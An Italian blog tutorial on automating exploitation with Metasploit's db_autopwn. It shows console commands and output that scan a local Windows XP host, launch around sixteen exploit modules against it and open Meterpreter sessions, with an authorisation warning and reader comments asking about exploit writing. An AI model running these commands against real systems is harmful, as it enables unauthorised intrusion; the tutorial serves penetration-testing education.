Automazione di penetration con Metasploit Autopwn

Con l’obiettivo di automatizzare la fase del penetration testing, a partire dalla versione 3, Metasploit offre un modulo chiamato “autopwn” che è in grado di automatizzare la fase di exploit di un penetration test.

Sebbene autopwn sia ben lontano dall’essere perfetto, fa un lavoro decente nell’ exploit di molteplici hosts.

Un punto di forza di autopwn consiste nella capacità di importare dati relativi a vulnerabilità da files NBE di Nessus o da output Nmap XML, interessante feature che funziona bene. Inoltre, si può eseguire Nmap dall’interno della console di Metasploit ed essa archivierà i risultati nel database. Infine, si possono lanciare exploits relativi a porte, servizi o vulnerabilità in base ai dati importati.

Limitazioni di autopwn

Autopwn ha alcune limitazioni, intanto necessita di un database MySQL, Sqlite, oppure Postgres. Alcuni dei prerequisiti sono RubyGems, active record (parte di ruby on rails), ed il database correttamente configurato per operare con autopwn. Anche in termini di payloads si è piuttosto limitati. Sfortunatamente con la corrente versione si può usare una bind shell di base come payload.

Se state cercando modi fantasiosi per ottenere reports dei vostri dati dovrete arrangiarvi un po’, dato che non vi è alcun meccanismo di reporting automatizzato in autopwn. Si raccommenda di eseguire il comando “script” da una shell prima di avviare msfconsole. Non è possibile fare molto utilizzando la GUI o la web console di Metasploit, ad eccezione di screen shots,

Metasploit 3 utilizza per default il supporto al database SQLite. Sebbene sia funzionale, problemi di performance non lo rendono adatto alla automazione di exploits su larga scala.

msf > help
Database Backend Commands
=========================


Command Description
------- -----------
db_connect Connect to an existing database
db_create Create a brand new database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver


msf > db_driver
[*] Active Driver: sqlite3
[*] Available: sqlite3
[...]

Una volta che il plugin sia stato caricato, digitate il comando db_create.

msf > db_create
[*] Creating a new database instance…
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db

Ora che la console è connessa ad una nuova istanza di database, a set arricchito di comandi da console diviene subito disponibile. Essi vengono elencati nell’output del comando “help” sotto la sezione Database Backend.

Database Backend Commands
=========================


Command Description
------- -----------
db_add_host Add one or more hosts to the database
db_add_note Add a note to host
db_add_port Add a port to host
db_autopwn Automatically exploit everything
db_connect Connect to an existing database
db_create Create a brand new database
db_del_host Delete one or more hosts from the database
db_del_port Delete one port from the database
db_destroy Drop an existing database
db_disconnect Disconnect from the current database instance
db_driver Specify a database driver
db_hosts List all hosts in the database
db_import_amap_mlog Import a THC-Amap scan results file (-o -m)
db_import_nessus_nbe Import a Nessus scan result file (NBE)
db_import_nessus_xml Import a Nessus scan result file (NESSUS)
db_import_nmap_xml Import a Nmap scan results file (-oX)
db_nmap Executes nmap and records the output automatically
db_notes List all notes in the database
db_services List all services in the database
db_vulns List all vulnerabilities in the database
db_workspace Switch between database workspaces


msf >

Per verificare che la connessione al database sia valida, eseguite il comando db_hosts. Se tutto funziona correttamente, non vi saranno risultati e neppure errori.

La console è connessa al database, lo schema è predisposto, ed ora si è pronti ad importare i dati relativi alle vulnerabilità. La attuale versione del framework supporta gli output files Nessus NBE, gli output files Nmap XML, ed un command wrapper (db_nmap) che lancerà il port scanner nmap ed archiviare i risultati nel database collegato.

Prima di iniziare a caricare dati, diamo una veloce occhiata al comando db_autopwn. Eseguendolo senza alcun parametro, restituisce il seguente output:

msf > db_autopwn
[*] Usage: db_autopwn [options]
-h Display this help text
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-q Disable exploit module output
-R [rank] Only run modules with a minimal rank
-I [range] Only exploit hosts inside this range
-X [range] Always exclude hosts inside this range
-PI [range] Only exploit hosts with these ports open
-PX [range] Always exclude hosts with these ports open
-m [regex] Only run modules whose name matches the regex

Il comando db_autopwn esaminerà le tabelle del database e creerà una lista di moduli che corrispondono a specifiche vulnerabilità. Tale processo di ricerca di corrispondenze può avvenire in due differenti modi. Il primo metodo è “cross-referencing” ed è piuttosto accurato. Il secondo metodo usa la porta per default associata con ciascun modulo exploit per individuare targets operanti il servizio medesimo. Anche se funziona nella maggior parte dei casi, è probabile che trascuri servizi vulnerabili operanti su porte non di default.

A questo punto, avete una serie di opzioni. Potete sia importare un esistente Nessus NBE file tramite il comando db_import_nessus_nbe, importare un esistente Nmap XML output file tramite il comando db_import_nmap_xml, oppure usare il comando db_nmap per populare il database. Il vantaggio di usare un Nessus NBE file è che fornisce dati per la modalità cross-referencing (-x) di db_autopwn. Il vantaggio di usare dati Nmap consiste nel fatto che si può velocemente attaccare un ampio gruppo di sistemi senza dover operare un completo vulnerability scan, ma trascurereste vulnerabilità che non si trovano sulla porta di default del modulo Metasploit associato.

Occorre avere ben presente che il comando db_autopwn tratterà tutti i records presenti nel database come potenziali targets. Future versioni del framework avranno la capacità di limitare i targets ad un set specifico dell’intero database. NON importate nel database alcunchè non siate autorizzati a violare.

Come primo tentativo, cerchiamo, usando il comando db_nmap, di prendere di mira una macchina Windows XP nella rete locale.

msf > db_nmap 192.168.1.253 -O --reason


Starting Nmap 5.00 ( http://nmap.org ) at 2009-12-29 00:01 CET
Interesting ports on 192.168.1.253:
Not shown: 995 closed ports
Reason: 995 resets
PORT STATE SERVICE REASON
23/tcp open telnet syn-ack
135/tcp open msrpc syn-ack
139/tcp open netbios-ssn syn-ack
445/tcp open microsoft-ds syn-ack
3389/tcp open ms-term-serv syn-ack
MAC Address: 08:00:27:01:2A:E6 (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows 2000|XP|2003
OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or Windows Server 2003 SP0 - SP2
Network Distance: 1 hop


OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds

Una volta che questo comando sia stato completato, usate il comando db_services per osservare i risultati.

msf > db_services


Services
========


created info name port proto state Host Workspace
------- ---- ---- ---- ----- ----- ---- ---------
2009-12-29 00:02:03 +0100 23 tcp open 192.168.1.253 default
2009-12-29 00:02:03 +0100 135 tcp open 192.168.1.253 default
2009-12-29 00:02:03 +0100 139 tcp open 192.168.1.253 default
2009-12-29 00:02:03 +0100 445 tcp open 192.168.1.253 default
2009-12-29 00:02:03 +0100 3389 tcp open 192.168.1.253 default

Ora è il momento di eseguire il comando db_autopwn e vedere quali moduli lancerà. Eseguite il seguente comando dal prompt della console:

msf > db_autopwn -p -e -R great
[*] (1/16 [0 sessions]): Launching exploit/solaris/telnet/fuser against 192.168.1.253:23…
[*] (2/16 [0 sessions]): Launching exploit/solaris/telnet/ttyprompt against 192.168.1.253:23…
[*] (3/16 [0 sessions]): Launching exploit/windows/smb/ms04_011_lsass against 192.168.1.253:139…
[*] (4/16 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.253:139…
[*] (5/16 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.253:139…
[*] Job limit reached, waiting on modules to finish…
[*] (6/16 [0 sessions]): Launching exploit/windows/smb/msdns_zonename against 192.168.1.253:139…
[*] (7/16 [0 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.1.253:139…
[*] (8/16 [0 sessions]): Launching exploit/windows/smb/psexec against 192.168.1.253:139…
[*] (9/16 [0 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.1.253:139…
[*] Job limit reached, waiting on modules to finish…
[*] (10/16 [0 sessions]): Launching exploit/windows/smb/ms04_011_lsass against 192.168.1.253:445…
[*] Meterpreter session 1 opened (192.168.1.10:50510 -> 192.168.1.253:34152)
[*] Job limit reached, waiting on modules to finish…
[*] (11/16 [1 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.253:445…
[*] (12/16 [1 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.253:445…
[*] (13/16 [1 sessions]): Launching exploit/windows/smb/msdns_zonename against 192.168.1.253:445…
[*] (14/16 [1 sessions]): Launching exploit/windows/smb/netidentity_xtierrpcpipe against 192.168.1.253:445…
[*] Job limit reached, waiting on modules to finish…
[*] (15/16 [1 sessions]): Launching exploit/windows/smb/psexec against 192.168.1.253:445…
[*] Job limit reached, waiting on modules to finish…
[*] (16/16 [1 sessions]): Launching exploit/windows/smb/timbuktu_plughntcommand_bof against 192.168.1.253:445…
[*] (16/16 [1 sessions]): Waiting on 5 launched modules to finish execution…
[*] Meterpreter session 2 opened (192.168.1.10:54367 -> 192.168.1.253:21538)
[*] (16/16 [2 sessions]): Waiting on 2 launched modules to finish execution…
[*] (16/16 [2 sessions]): Waiting on 1 launched modules to finish execution…
[*] (16/16 [2 sessions]): Waiting on 1 launched modules to finish execution…


msf >

Il flag -p in base alle corrispondenze port-based dovrebbe elencare una serie di exploits per ogni sistema target.
Il flag -e indica invece che ognuno dei moduli venga lanciato contro tale target.
Il flag -R si riferisce invece al cosidetto “exploit ranking”. Il parametro sta ad indicare quanto affidabile sia l’exploit, e istruisce ad utilizzare solamente exploits col rank indicato (o superiore), riducendo fortemente le probabilità che la macchina target o un particolare servizio vadano in crash.

Validi rank sono “excellent”, “great”, “good”, “normal”, “average”, “low” e “manual”.
Il comando seguente è in grado di indicare tutti i moduli catalogati “great” o superiore:

msf > search -r great
[...]

Dalla console, la opzione globale MinimumRank può venire adoperata per prevenire l’eventualità che vengano lanciati per errore degli exploit con un ranking inferiore a quanto desiderato:

msf > setg MinimumRank excellent

Per interagire con le eventuali sessioni aperte, si usa il comando sessions -i [ID].

msf > sessions -l


Active sessions
===============


Id Description Tunnel
-- ----------- ------
1 Meterpreter 192.168.1.10:50510 -> 192.168.1.253:34152
2 Meterpreter 192.168.1.10:54367 -> 192.168.1.253:21538


msf >


msf > sessions -i 2
[*] Starting interaction with 2…


meterpreter >

FONTE:www.voipandhack.it

3 Risposte to “Automazione di penetration con Metasploit Autopwn”

  1. anche se non mi interessa questo argomento sono contento che tu lo abbia postato perchè pensavo che avevi abbandonato il forum:)cmq mi vorresti dire come vedere se un sito è vulnerabile ad un exploit a mia scelta?

  2. ok grazie mille.cmq potresti dirmi il miglior linguaggio per creare exploit?che usi tu il perl,il c o il php?

Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...

%d blogger cliccano Mi Piace per questo: